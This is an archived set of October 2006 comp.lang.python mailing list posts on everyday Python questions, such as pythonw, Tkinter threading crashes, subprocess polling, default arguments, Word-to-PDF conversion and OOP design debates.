> (user-defined) functions are not introduced until chapter 11, fully 400
> pages into the book. This contrasts strongly with a traditional
> "Introduction to language X" book which has a chapter sequence roughy
> like:
>
> Chapter 1) Intro - Hello World
> Chapter 2) Variables
> Chapter 3) If, if-else
> Chapter 4) Loops
> Chapter 5) Functions and/or subroutines
>
> The exact details vary from book to book and language to language of
> course, but usually the above topics are covered in the first 100-150
> pages since it is hard to do anything interesting until all of these
> tools are under your belt. Chun's book by contrast is able, on the
> strength of Python's built-in functions, to cover a fair amount of
> relatively interesting things (dictionaries, file IO, exception
> handling, etc.) before introducing user-defined functions.
>
> I don't want to read too much into this, but the mere fact that it is
> possible to write a Python book in this fashion seems to confirm the
> "batteries are included" philosophy of Python. Perhaps there is less
> need to learn how to roll your own batteries as soon as possible.
> 
> -John Coleman



From fredrik at pythonware.com  Fri Oct 20 04:36:47 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 10:36:47 +0200
Subject: I like python.
References: <254cf6720610200059m3e41cfafr76f536947de0e7ac@mail.gmail.com>
Message-ID: <eha1qv$7hb$1@sea.gmane.org>

"Fidel" wrote:

> Could someone please tell me what I need to put into a python script
> to not have a window come up however briefly?

assuming Windows, and assuming that you have a standard Python install for
Windows: use "pyw" instead of "py" as the script's extension.

(Windows applications come in two flavours: console applications and window
applications.  the default executable for "py" files is "python.exe", which is a con-
sole application.  "pyw" uses "pythonw.exe" instead, which is exactly the same
program, but linked as a window application instead).

</F> 





From mail at microcorp.co.za  Thu Oct  5 04:26:07 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Thu, 5 Oct 2006 10:26:07 +0200
Subject: Python/Tkinter crash.
References: <mailman.1242.1159951684.10491.python-list@python.org><op.tgwml9x1rqur0o@eb.pragmadev>
	<007401c6e7df$5d7c7a80$03000080@hendrik>
Message-ID: <02bb01c6e858$02284f00$03000080@hendrik>

 "Hendrik van Rooyen" <mail at microcorp.co.za> wrote:
>  "Eric Brunel" <eric_brunel at despammed.com> wrote:
>
>
> > On Wed, 04 Oct 2006 10:33:55 +0200, Hendrik van Rooyen
> > <mail at microcorp.co.za> wrote:
> >
> > > Hi,
> > >
> > > I get the following:
> > >
> > > hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py
> > > UpdateStringProc should not be invoked for type font
> > > Aborted
> > >
> > > and I am back at the bash prompt - this is most frustrating, as there is
> > > no
> > > friendly traceback to help me guess where its coming from.
> > >
> > > And what is worse, the script runs for a varying time before it simply
> > > exits
> > > like this.
> > >
> > > What can I do to dig deeper to try to find a clue? - I don't even know
> > > if its
> > > Python, Tkinter or Linux...
> >
> > Neither of them: it's a tcl problem. The message you get is in the file
> > generic/tclObj.c in the tcl source directory.
> >
> > I know the problem happens sometimes on one of my Tkinter applications,
> > but I never succeeded in reproducing it systematically. I've browsed the
> > tcl bugs, but didn't find anything. Maybe you'll be luckier than I... If
> > you are, I'm interested in any hint you can find.
>
> Ouch! - this is a bit the wrong answer...
>
> What I have seen, in mucking about today, is that it seems to be related to
> threading - I have a silly sort of thread that runs, updating my meters, more
or
> less continuously, to simulate data from the field - it just adds some values
to
> the seven display variables and calls the update methods that delete and
redraw
> the arcs representing the analogue style meters, deleting and replacing the
text
> objects that show the values, and then it sleeps for a while, and does it all
> again.
>
> At the same time, one other thread (other than the main thread), can be
created
> to move a component on the canvas around by calling its delete and draw
> methods. - but this is also done more or less continuously, as a new thread is
> created as soon as the previous one dies to move the next object around.
>
> Now these two things are asynchronous with each other, so that given enough
> time, they are bound to make calls to Tkinter in a re-entrant fashion, and I
> suspect that it is this that is causing the problem - my "evidence" for this
is
> that I implemented a boolean as a sort of "lock" and had the Meter updating
back
> down in favour of the other animation to try and avoid any sort of re -
entrancy
> to the Tkinter canvas object's  delete and draw methods...
>
> Now the Jury is still out on this - it seems to have helped, as the thing has
> been running for some hours now without crashing - but maybe I have just
applied
> a band aid to sword cut - I don't know - if it runs through the night I will
> feel much better...
>
> Will update again as soon as I have more data...

OK - It has run through the night and as I type it is still running, so the band
aid has helped a bit...

Eric - if you are interested and contact me, then I will comment out the "fix"
and email you the bits that you need to run this horror - if you need a reliably
failing thingy to study the problem with :-)
It was your post yesterday or so in another thread here that prompted me to try
this style of fix... Thank you.

BTW - I am curious - in your app that exhibits the same crash - what did you do
to work around the problem ? - Is it also running a thread and calling methods
that are normally event driven commands in the main thread?  Or two other
threads like me?  It would be interesting to try to spot any similarities...

Is it even allowed to asynchronously call a main thread method from another
thread? - it seems to work - but I am not sure why it does - what is the main
thread's mainloop doing while this is going on?  - your other comment in the
other thread here implies that it is a strict no - no...  Is it safe to call
invoke from another thread? - what is the difference between calling invoke and
calling the bound method directly?

- Hendrik





From bignose+hates-spam at benfinney.id.au  Sat Oct 21 05:04:11 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sat, 21 Oct 2006 19:04:11 +1000
Subject: Python Source
References: <1161418145.383719.324390@i3g2000cwc.googlegroups.com>
Message-ID: <873b9ixcok.fsf@benfinney.id.au>

"ArdPy" <ardsrk at gmail.com> writes:

> Is it possible to hack through the code written by Guido van Rossum
> that makes the python interpreter.

Hack through it to where? I don't understand the request.

Why, specifically, only the code written by GvR?

-- 
 \      "I busted a mirror and got seven years bad luck, but my lawyer |
  `\                     thinks he can get me five."  -- Steven Wright |
_o__)                                                                  |
Ben Finney



From tartley at tartley.com  Mon Oct  9 10:22:44 2006
From: tartley at tartley.com (Jonathan Hartley)
Date: Mon, 09 Oct 2006 15:22:44 +0100
Subject: file system iteration
In-Reply-To: <egdjp5$7sm$1@news.albasani.net>
References: <egdg02$pcd$1@solaris.cc.vt.edu> <egdjp5$7sm$1@news.albasani.net>
Message-ID: <452A5B34.9080507@tartley.com>

Georg Brandl wrote:
 >> Which application needs to walk over ALL files?

How about 'updatedb' for starters, the index-maintainer for the common 
*nix command-line utility 'locate'.

I'm pretty sure that os.walk( ) deals with symbolic links (by not 
visiting them) and ' /proc'  type complexities by not doing anything to 
walked directories that '/proc' type entries cannot deal with. I think 
(no sarcasm intended) the point of offering a directory-like interface 
to '/proc' was so one can perform directory-like operations on it.

--

Jonathan Hartley
tartley at tartley.com
+44 7737 062 225



From utabintarbo at gmail.com  Thu Oct  5 10:43:13 2006
From: utabintarbo at gmail.com (utabintarbo)
Date: 5 Oct 2006 07:43:13 -0700
Subject: Asychronous execution *with* return codes?
In-Reply-To: <1160053403.362330.136200@k70g2000cwa.googlegroups.com>
References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com>
	<1160053403.362330.136200@k70g2000cwa.googlegroups.com>
Message-ID: <1160059393.325634.167640@e3g2000cwe.googlegroups.com>


MonkeeSage wrote:
> utabintarbo wrote:
> > pid = subprocess.Popen([app] + lstArgs).pid
>
> Check out the poll() method and the returncode attribute:
> http://docs.python.org/lib/node533.html
>

Thanks for the reply.

If I understand your meaning, I should do something like this (given I
wish to run an app against several arguments [my use case]):

for lstArgs in pileOflstArgs:
    uniqueProcessID = subprocess.Popen([app] + lstArgs)
    pid = uniqueProcessID.pid
    retcode = uniqueProcessID.poll()
    # increment uniqueProcessID
    ....

If so, how do I handle the poll() on long-running processes? Run a
bunch and then start a check loop? Am I asking too many questions?



From http  Wed Oct 25 02:59:57 2006
From: http (Paul Rubin)
Date: 24 Oct 2006 23:59:57 -0700
Subject: Sorting by item_in_another_list
References: <ehk3p8$j3q$1@enyo.uwa.edu.au> <7x1woypbe1.fsf@ruckus.brouhaha.com>
	<IQD%g.15838$Fk1.36230@twister2.libero.it>
Message-ID: <7xslhclw2a.fsf@ruckus.brouhaha.com>

ZeD <vito.detullio at gmail.com> writes:
> >   desired_result = B + sorted(x for x in A if x not in B)
> this. is. cool.

Actually it's better to use a set if B is large:

  B2 = set(B)
  desired_result = B + sorted(x for x in A if x not in B2)

That avoids a linear search through B for each element of A.


From cameron.walsh at gmail.com  Fri Oct 27 01:59:08 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Fri, 27 Oct 2006 13:59:08 +0800
Subject: How to Split Chinese Character with backslash representation?
In-Reply-To: <mailman.1322.1161926164.11739.python-list@python.org>
References: <mailman.1319.1161920633.11739.python-list@python.org>	<ehs0de$pk6$1@enyo.uwa.edu.au>	<3ACF03E372996C4EACD542EA8A05E66A0615DD@mailbe01.teak.local.net>
	<mailman.1322.1161926164.11739.python-list@python.org>
Message-ID: <ehs75n$16u$1@enyo.uwa.edu.au>

limodou wrote:
> On 10/27/06, Wijaya Edward <ewijaya at i2r.a-star.edu.sg> wrote:
>>
>> Thanks but my intention is to strictly use regex.
>> Since there are separator I need to include as delimiter
>> Especially for the case like this:
>>
>> >>> str = '\xc5\xeb\xc7\xd5\xbc--FOO--BAR'
>> >>> field = list(str)
>> >>> print field
>> ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc', '-', '-', 'F', 'O', 'O', '-', 
>> '-', 'B', 'A', 'R']
>>
>> What we want as the output is this instead:
>> ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc','FOO','BAR]
>>
>> What's the best way to do it?
>>
> If the case is very simple, why not just replace '_' with '', for example:
> 
> str.replace('-', '')
> 
Except he appears to want the Chinese characters as elements of the 
list, and English words as elements of the list.  Note carefully the 
last two elements in his desired list.  I'm still puzzling this one...


From andrew-news at andros.org.uk  Tue Oct 10 15:23:39 2006
From: andrew-news at andros.org.uk (Andrew McLean)
Date: Tue, 10 Oct 2006 20:23:39 +0100
Subject: Converting MSWord Docs to PDF
In-Reply-To: <mailman.198.1160474721.11739.python-list@python.org>
References: <mailman.185.1160469513.11739.python-list@python.org>	<slrneimnp2.6ng.sybrenUSE@schuimige.stuvel.eu>
	<mailman.198.1160474721.11739.python-list@python.org>
Message-ID: <eggrvs$qvt$1$8300dec7@news.demon.co.uk>

Steve Holden wrote:
> If that *isn't* satisfactory then a modest investment in Adobe 
> Acrobat/Distiller plus the use of Python's scripting facilities to 
> direct the conversion would be preferable to spending a huge amount of 
> time writing a hand-crafted solution.

An alternative to Adobe Distiller (part of Acrobat) is PDFCreator

http://sourceforge.net/projects/pdfcreator/

which is free. This installs as a Windows printer (using GhostScript as 
a backend to generate PDFs). It should be relatively straightforward to 
use Python scripting to drive Word to "print" documents to the 
PDFCreator pseudo-printer.


From bearophileHUGS at lycos.com  Fri Oct  6 16:17:53 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 6 Oct 2006 13:17:53 -0700
Subject: Graph Theory
In-Reply-To: <1160162620.929630.51160@m73g2000cwd.googlegroups.com>
References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com>
	<1160079341.752297.139110@h48g2000cwc.googlegroups.com>
	<1160079922.925712.55850@i42g2000cwa.googlegroups.com>
	<1160086579.492499.38120@m7g2000cwm.googlegroups.com>
	<1160162620.929630.51160@m73g2000cwd.googlegroups.com>
Message-ID: <1160165873.180408.279280@k70g2000cwa.googlegroups.com>

diffuser78 at gmail.com:
> Is there any documentation avaialbe for networkx ? I want to have an
> implementation of random graphs including watts and strogatz graph.

Try reading the code, often it's simple enough.

Bye,
bearophile



From apardon at forel.vub.ac.be  Wed Oct  4 06:09:41 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 4 Oct 2006 10:09:41 GMT
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
Message-ID: <slrnei7235.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-04, Paul Rubin <http> wrote:
> "LaundroMat" <Laundro at gmail.com> writes:
>> def f(var=1):
>> return var*2
>> 
>> What value do I have to pass to f() if I want it to evaluate var to 1?
>> I know that f() will return 2, but what if I absolutely want to pass a
>> value to f()? "None" doesn't seem to work..
>
> I don't understand your question.  You can call f(var=1) just fine.

The problem is like the following.

def f(var=1):
  return var*2

def g():
  arg = None
  try:
    arg = Try_Processing() / 3 + 1
  except Nothing_To_Process:
    pass
  if arg is None:
    return f()
  else:
    return f(arg)

Now in this case you could start by assigning arg the value 1 and
eliminate the if test. However that only works if you know the
default value for the argument. What he seems to be asking for
is if there is an object, (let as call it Default), that would
make code like:

  def f(var=1):

Equivallent to:

  def f(var=Default)
    if var is Default)
      var = 1

So that we could write the following without the need of the
f's default value.

  def g():
    arg = Default
  try:
    arg = Try_Processing() / 3 + 1
  except Nothing_To_Process:
    pass
  f(arg)

-- 
Antoon Pardon


From gshepherd181 at gmail.com  Sun Oct  1 21:32:33 2006
From: gshepherd181 at gmail.com (provowallis)
Date: 1 Oct 2006 18:32:33 -0700
Subject: Trying to find a elements Xpath and store it as a attribute
Message-ID: <1159752753.215621.163680@e3g2000cwe.googlegroups.com>

Hi all,

I've been struggling with this for a while so I'm hoping that someone
could point me in the right direction. Here's my problem: I'm trying to
get the XPath for a given node in my document and then store that XPath
as an attribute of the element itself. If anyone has a recommendation
I'd be happy to hear it.

Thanks,

Provo

For instance, I would take this XML

###before

<?xml version="1.0"?>
<hello-world>
<greeter>An XSLT Programmer</greeter>
<greeting>Hello, World!</greeting>
</hello-world>

###after

<?xml version="1.0"?>
<hello-world>
<greeter xp="hello-word[1]/greeter[1]">An XSLT Programmer</greeter>
<greeting xp="hello-world[1]/greeting[1]">Hello, World!</greeting>
</hello-world>

###

import sets
import amara
from amara import binderytools

doc = amara.parse('hello.xml')
elems = {}

for e in doc.xml_xpath('//*'):

     paths = elems.setdefault((e.namespaceURI, e.localName),
sets.Set())
     path = u'/'.join([n.nodeName for n in
e.xml_xpath(u'ancestor::*')])
     paths.add(u'/' + path)

for name in elems:

     doc.name.km = elems[name]



From robert.kern at gmail.com  Wed Oct 25 19:57:27 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Wed, 25 Oct 2006 18:57:27 -0500
Subject: question about True values
In-Reply-To: <1161815305.519731.272900@b28g2000cwb.googlegroups.com>
References: <grO%g.152$1n3.4134@news.tufts.edu>	<mailman.1193.1161803695.11739.python-list@python.org>	<453FBF9C.6010002@v.loewis.de>
	<1161815305.519731.272900@b28g2000cwb.googlegroups.com>
Message-ID: <ehotl7$iqe$1@sea.gmane.org>

George Sakkis wrote:
> Martin v. L?wis wrote:

>> Not-so-obviously, arbitrary user-defined values can also be
>> treated as false: If they implement __nonzero__, they are
>> false if False is returned from __nonzero__; otherwise,
>> if they implement __len__, they are false if 0 is returned
>> from __len__. Under these rules, array.array objects can
>> also be false, as can UserList and UserDict objects.
> 
> A notable exception are numarray arrays (probably true for numpy too, I
> haven't tested it though):
> 
>>>> from numarray import array
>>>> bool(array([1,2]))
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> RuntimeError: An array doesn't make sense as a truth value.  Use any(a)
> or all(a).

numpy also has this behavior. Numeric yielded to the temptation to guess any(a) 
in the face of this ambiguity. Much buggy code was written as a result.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From support at pdf-convert.com  Mon Oct 16 18:14:32 2006
From: support at pdf-convert.com (support at pdf-convert.com)
Date: 16 Oct 2006 17:14:32 -0500
Subject: =?utf-8?Q?Re:_Mail_Delivery_=28failure_support@pdf=2Dconvert.com=29?=
Message-ID: <20061016221432.31057.qmail@plesk.ev1servers.net>

Thank you for your email. This is an automatic acknowledgement, and we will process your email in one business day.

To shorten your waiting period until your email is answered manually, you have the possibility to find a solution on our webpage i.e.

1.) I am unable to register my program I purchased. What is the problem?
It can be resolved by installing the most current version of our products.
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http://www.pdf-convert.com





From eldorado at io.com  Fri Oct 13 14:53:34 2006
From: eldorado at io.com (eldorado)
Date: Fri, 13 Oct 2006 13:53:34 -0500
Subject: Newbie question - leading zeros
In-Reply-To: <1160763572.744578.36810@m73g2000cwd.googlegroups.com>
References: <20061013130805.T91050@eris.io.com>
	<1160763572.744578.36810@m73g2000cwd.googlegroups.com>
Message-ID: <20061013135304.Y91050@eris.io.com>

On Fri, 13 Oct 2006, Rainy wrote:

>
> eldorado wrote:
>> I have looked around and cannot seem to find a way to strip leading zeros
>> off of values in a dictionary. Basically, I am looking to do a for loop
>> and any value that has one or more leading zeros would be stripped. Any
>> pointers would be appreciated. Thanks
>>
>> --
>> Randomly generated signature
>> ICMP: The protocol that goes PING!
>
> import string
>>>> string.lstrip('0001', '0')
> '1'
>
> Hope this willhelp

Perfect.  Thank you and everyone else who answered.

-- 
Randomly generated signature
u grammar nazis can bite me ass.


From bj_666 at gmx.net  Wed Oct 18 02:29:01 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Wed, 18 Oct 2006 08:29:01 +0200
Subject: I would like write some data recovery software
References: <1161141519.989567.195330@i42g2000cwa.googlegroups.com>
	<UqiZg.15443$UG4.6346@newsread2.news.pas.earthlink.net>
	<1161147777.083982.123570@m7g2000cwm.googlegroups.com>
Message-ID: <pan.2006.10.18.06.29.00.516463@gmx.net>

In <1161147777.083982.123570 at m7g2000cwm.googlegroups.com>, gel wrote:

> Dennis Lee Bieber wrote:
>> On 17 Oct 2006 20:18:40 -0700, "gel" <orangestripe at gmail.com> declaimed
>> the following in comp.lang.python:
>>
>> [?] You also need very good documentation of the file system [?]
> 
> Yes, OK I guess NTFS would be of most interest to me.

Then you'll have a hard time because NTFS specs are not available for
free.  Just reverse engineered stuff.

Ciao,
	Marc 'BlackJack' Rintsch


From m.elston at advantest-ard.com  Sun Oct  1 19:18:40 2006
From: m.elston at advantest-ard.com (Mark Elston)
Date: Sun, 01 Oct 2006 16:18:40 -0700
Subject: preemptive OOP?
In-Reply-To: <JZATg.3537$5i7.15@newsreading01.news.tds.net>
References: <e9USg.47$1n3.432@news.tufts.edu>
	<JZATg.3537$5i7.15@newsreading01.news.tds.net>
Message-ID: <12i0iut89mqepcd@corp.supernews.com>

* Kent Johnson wrote (on 9/30/2006 2:04 PM):
> John Salerno wrote:
>> So my question in general is, is it a good idea to default to an OOP 
>> design like my second example when you aren't even sure you will need 
>> it? I know it won't hurt, and is probably smart to do sometimes, but 
>> maybe it also just adds unnecessary code to the program.
> 
> In general, no. I'm a strong believer in You Aren't Going to Need It 
> (YAGNI):
> http://c2.com/xp/YouArentGonnaNeedIt.html
> 
> because it *does* hurt
> - you have to write the code in the first place
> - every time you see a reference to MyNotebook you have to remind 
> yourself that it's just a wx.Notebook
> - anyone else looking at the code has to figure out that MyNotebook is 
> just wx.Notebook, and then wonder if they are missing something subtle 
> because you must have had a reason to create a new class...
> 
> and so on...Putting in extra complexity because you think you will need 
> it later leads to code bloat. It's usually a bad idea.
> 
> Possible exceptions are
> - If you are really, really, really sure you are going to need it 
> really, really soon and it would be much, much easier to add it now then 
> after the next three features go in, then you might consider adding it 
> now. But are you really that good at predicting the future?
> - When you are working in a domain that you are very familiar with and 
> the last six times you did this job, you needed this code, and you have 
> no reason to think this time is any different.
> 
> You struck a nerve here, I have seen so clearly at work the difference 
> between projects that practice YAGNI and those that are designed to meet 
> any possible contingency. It's the difference between running with 
> running shoes on or wet, muddy boots.
> 
> Kent

I have only caught the tail of this thread so far so I may have missed
some important info.  However, Kent's response is, I think, a bit of
an oversimplification.

The answer to the original question, as quoted above, is ... it depends.
On several things, actually.

If this is a 'one-shot' program or simple library to accomplish a
limited goal then the added complexity of OO is probably overkill.  Many
scripts fall into this category. You can go to a lot of trouble to
generate an OO solution to a simple problem and not get much payoff for
your effort.  Simple problems are often solved best with simple
solutions.

However, when an application (or library) is designed to provide a more
'general purpose' solution to one or more problems and is likely to have
a lifetime beyond the 'short term' (whatever that may mean to you), then
OO can start to pay off.  In these kinds of applications you see the
need for future maintenance and a likely need to expand on the existing
solution to add new features or cover new ground.  This is made easier
when the mechanism for this expansion is planned for in advance.

Without this prior planning, any expansion (not to mention bug fixing)
becomes more difficult and makes the resulting code more brittle.  While
not all planning for the future requires OO, this is one mechanism that
can be employed effectively *because* it is generally well understood
and can be readily grasped *if* it is planned and documented well.

There is certainly a *lot* of 'Gratuitous OOP' (GOOP?) out there.  This
isn't a good thing.  However, that doesn't mean that the use of OOP in
any given project is bad.  It may be inappropriate.

OO is a simply a way of dealing with complexity in SW development.  If a
problem is complex then the solution will have to deal with that
complexity.  If OO can be used to make a complex solution less complex
then it is appropriate.  If the use of OO makes a simple solution *more*
complex then it is being used inappropriately.

It is not only necessary to have the correct tools for the job but,
also, to be skilled in their use.  Part of the skill of a SW developer
is in picking the correct tool for the job - and then using it
correctly.

Mark


From blair.houghton at gmail.com  Thu Oct 12 00:30:16 2006
From: blair.houghton at gmail.com (Blair P. Houghton)
Date: 11 Oct 2006 21:30:16 -0700
Subject: hundreds of seconds?
In-Reply-To: <mailman.326.1160583876.11739.python-list@python.org>
References: <NYOBGCEXSMTP21txc1o000d767a@nyobgcexsmtp21.uswin.ad.vzwcorp.com>
	<mailman.319.1160579494.11739.python-list@python.org>
	<1160581108.301858.37760@m7g2000cwm.googlegroups.com>
	<mailman.326.1160583876.11739.python-list@python.org>
Message-ID: <1160627416.728971.273820@i42g2000cwa.googlegroups.com>


Tim Peters wrote:
> On Windows 98, time.time() typically updates only once per 0.055
> seconds (18.2 Hz), but time.clock() typically updates more than a
> million times per second.  You do /not/ want to use time.time() for
> sub-second time measurement on Windows.  Use time.clock() for this
> purpose on Windows.

Windows is not a real-time operating system.

Let me say that again:

Windows is not a real-time operating system.

The times you get from those functions will not always be
"the time I called the function".

They will always be "some time between the time
I called the function and it returned".

The difference being, sometimes when you call a function
it takes a lot longer to return because Windows has gone
and done something else unrelated to your program for
several seconds in-between.

You can reduce how often this happens by jacking up
the process priority for your program, but it never goes
away completely, and, because Windows is not a real-
time operating system, you can not predict with certainty
when these delays will occur and how long they will be.

Which may or may not matter, but people were talking
about trusting the number of bits in a floating-point
number to tell them the precision of the clock, so I
figured I should clear up another misconception while
they were learning not to do that, too...

--Blair



From kylotan at gmail.com  Mon Oct 23 06:53:32 2006
From: kylotan at gmail.com (Ben Sizer)
Date: 23 Oct 2006 03:53:32 -0700
Subject: Using Python scripts in Windows Explorer
In-Reply-To: <mailman.868.1161374544.11739.python-list@python.org>
References: <1161357605.861266.144980@m73g2000cwd.googlegroups.com>
	<mailman.868.1161374544.11739.python-list@python.org>
Message-ID: <1161600812.006210.219090@k70g2000cwa.googlegroups.com>

Gabriel Genellina wrote:
> At Friday 20/10/2006 12:20, Ben Sizer wrote:
>
> >I'd like to be able to drag a file onto a Python script in Windows
> >Explorer, or send that file to the script via the Send To context-menu
> >option, so I can then process that file via sys.argc.
> >
> >Unfortunately, I can't drag items onto the Python script, because
> >Windows doesn't recognise that the script is executable (unless I
> >double-click it, upon which it runs as usual, without the command line
> >parameter of course)
>
> Create a shortcut and drop the file over it.

Doesn't work; the mouse cursor changes to the "not permitted" sign and
when you release the mouse, nothing happens.

> >and won't set it as a drop target. And it won't
> >even appear in the Send To menu after the usual steps are taken to get
> >it there.
>
> Same here: put a shortcut to the script on your SendTo folder
> (wherever it resides)

That is what I meant by 'the usual steps'. :)  It doesn't work.

-- 
Ben Sizer



From paul at boddie.org.uk  Wed Oct 11 13:03:32 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 11 Oct 2006 10:03:32 -0700
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<1160570340.981862.212380@c28g2000cwb.googlegroups.com>
	<mailman.314.1160573195.11739.python-list@python.org>
	<1160575172.300208.82370@i42g2000cwa.googlegroups.com>
	<1160581898.505638.112910@b28g2000cwb.googlegroups.com>
Message-ID: <1160586212.808523.320110@h48g2000cwc.googlegroups.com>

Kay Schluehr wrote:
> Paul Boddie wrote:
>
> > I've never maintained that a monopoly on how Web programming is done
> > would be a good thing. All I've ever tried to understand is why people
> > haven't tried to improve the generic support for Web programming (and a
> > whole load of other things) even to the level of something like the
> > DB-API. Take another area: all the time you get people asking how they
> > can conveniently access some Web site using a Python-based client, and
> > loads of people are coming up against issues with urllib, urllib2,
> > other libraries. Wouldn't it be good if the functionality were just
> > there in the standard library in a sane form? Or is the standard
> > library just a "grab bag" of demos these days?
>
> Paul, I do think the focus on the stdlib as it is right now is a bit
> misleading. The stdlib is basically the product of python-dev and the
> runtime developers also have maintenance responsibility. This shall and
> even must be splitted and shared as it is done successfully with
> application domains like Scientific Python.

Quite. But we're talking about supposedly well-established and widely
understood technologies here: the cgi module first appeared in 1994
(1995 in the library); that relative newcomer the Cookie module
appeared in 2000; BaseHTTPServer appeared in 1995; asyncore was added
to the library in 1999. And unlike various scientific computing
interest groups, those who use Web technologies are so broadly
dispersed across all kinds of other domains that I doubt that even if
GvR told everyone to take their Web modules elsewhere, there'd be
enough cohesion to have such an umbrella WebPython distribution.

> If an enterprise grows no
> one expects that one department is responsible for everything but here
> in the Python community Guido shall play Fidel Castro who cares for
> each module of each application developer ever written and its
> suitability for the stdlib and its alignment with the Python ideology.

Well, I don't want everyone's modules in the standard library, but I
think it makes sense for people to work on integrating modules into the
library that make it easier for them and others to then focus on other
stuff. What if the cgi, BaseHTTPServer and Cookie modules hadn't been
in the standard library? Whilst some people might regard the resulting
dearth of Web frameworks as a benefit, I think you'd see less activity
in that part of the community as a consequence.

> In my opinion Python shall grow up and organize the visibility of its
> products, its "portfolio", differently with Py3K. I agree with Fredrik
> that any decision towards a BDFL blessed webframework is premature and
> Guido already showed himself not much interest in making any decision.

But I don't want GvR to bless a framework. Consider his misunderstood
near-blessing of Django: it's almost nonsensical. Sure, Django
innovates somewhat in terms of describing the URL space, but there are
numerous people who don't like the templating or the ORM, so they
wonder if they just couldn't strip that stuff off and replace it, but
what are you left with? The bare platform, of course, which isn't worth
continually redeveloping for each megaframework, but that's what has
been happening over the last five years.

> Even if all kinds of components are available in the stdlib people are
> still looking for a RoR for Python and they do so not only for
> technical reasons but because they need a brand that can be justifed
> towards their team mates and project leaders.

True, and this is where a lot of the marketing Python discussion missed
the point, dwelling on the corporate acceptability of Python (ie. the
nod from the PHB) and ignoring the peer marketing effect (ie. some
colleague you get along with shows you something with a "cool" label
stuck to it). The Django and TurboGears projects have noticed this
phenomenon, in contrast to that other supposed "winner" of the
frameworks war (Zope), but I await the day when some other loudly
advocated technology emerges to expose Python's library weaknesses and
causes a similar reactive scramble amongst the interested parties of
that particular domain.

Paul



From python.list at tim.thechases.com  Wed Oct 25 16:22:33 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Wed, 25 Oct 2006 15:22:33 -0500
Subject: Any way of adding methods/accessors to built-in classes?
In-Reply-To: <453FBE40.5010700@sbcglobal.net>
References: <453FBE40.5010700@sbcglobal.net>
Message-ID: <453FC789.5010404@tim.thechases.com>

> the builtins, but not being able to do things like
> '[1,2,3]'.length drives me a little nuts.



You mean like

	'[1,2,3]'.__len__()

That gets you the length of the string, which is what one would 
expect, calling the __len__() method on a string.  The same works 
for an array:

	[1,2,3].__len__()

If you want to convert the string to the thing it's representing, 
you can use the eval() function:

	eval('[1,2,3]').__len__()

All very straightforward.

-tkc





From nd at mad.scientist.com  Wed Oct 18 17:38:54 2006
From: nd at mad.scientist.com (Andreas Hartl)
Date: Wed, 18 Oct 2006 23:38:54 +0200
Subject: Classes and Functions - General Questions
In-Reply-To: <1161200542.603408.94630@k70g2000cwa.googlegroups.com>
References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com>
Message-ID: <45369f69$0$21745$9b4e6d93@newsspool3.arcor-online.net>

Setash schrieb:

> 2) Function overloading - is it possible?
> 
> Can I have the following code, or something which acts the same in
> python?:
> 
> 
> def function(a, b)
>    do things
> 
> def function(a, b, c)
>    do things only if I get a third argument

Several ways. The simplest and often most feasible is to create a 
3-argument function with a default value for its last argument

def function(a, b, c=None):
   if c is None:
     do things you need to do with the third argument
   else:
     do things


Alternatively, you may use a *params argument that consumes an arbitrary 
number of arguments

def function(*params):
   if len(params) == 2:
     do 3-argument things
   elif len(params) == 3:
     do 2-argument things

You can of course mix and match *params with preceding parameters.


There is a third option - an experimental dynamic function overloading 
module, see BDFL's weblog 
<http://www.artima.com/weblogs/viewpost.jsp?thread=155514>:

from overloading import overloaded

@overloaded
def function(a, b):
   do things

@function.register(object, object, object)
def function_3(a, b, c):
   do things with 3 parameters


However, I would not recommend this last solution unless you have a 
really, really weird problem that also heavily depends on the type of 
parameters. Simply stick to the first one, this will be sufficient for 
 >90% of all cases.

Andreas


From http  Thu Oct 12 10:18:06 2006
From: http (Paul Rubin)
Date: 12 Oct 2006 07:18:06 -0700
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<sJrXg.46560$DU3.23285@tornado.texas.rr.com>
	<7xvempiq12.fsf@ruckus.brouhaha.com>
Message-ID: <7xr6xdipnl.fsf@ruckus.brouhaha.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> writes:
> Tarjan discovered a guaranteed O(n) algorithm in the 1970's(?) whose
> operation is much different and quite complex.  But all of these need
> more than one temp var.  See an algorithms book like CLRS or Knuth
> for more info.

Ehh, make that Blum, Floyd, Pratt, Rivest, and Tarjan, and the main
different part is selecting the pivot, plus the complexity analysis.

http://www.cs.cmu.edu/afs/cs.cmu.edu/academic/class/15451-f06/www/lectures/lect0907.pdf

http://en.wikipedia.org/wiki/Selection_algorithm (see "median of
medians algorithm")


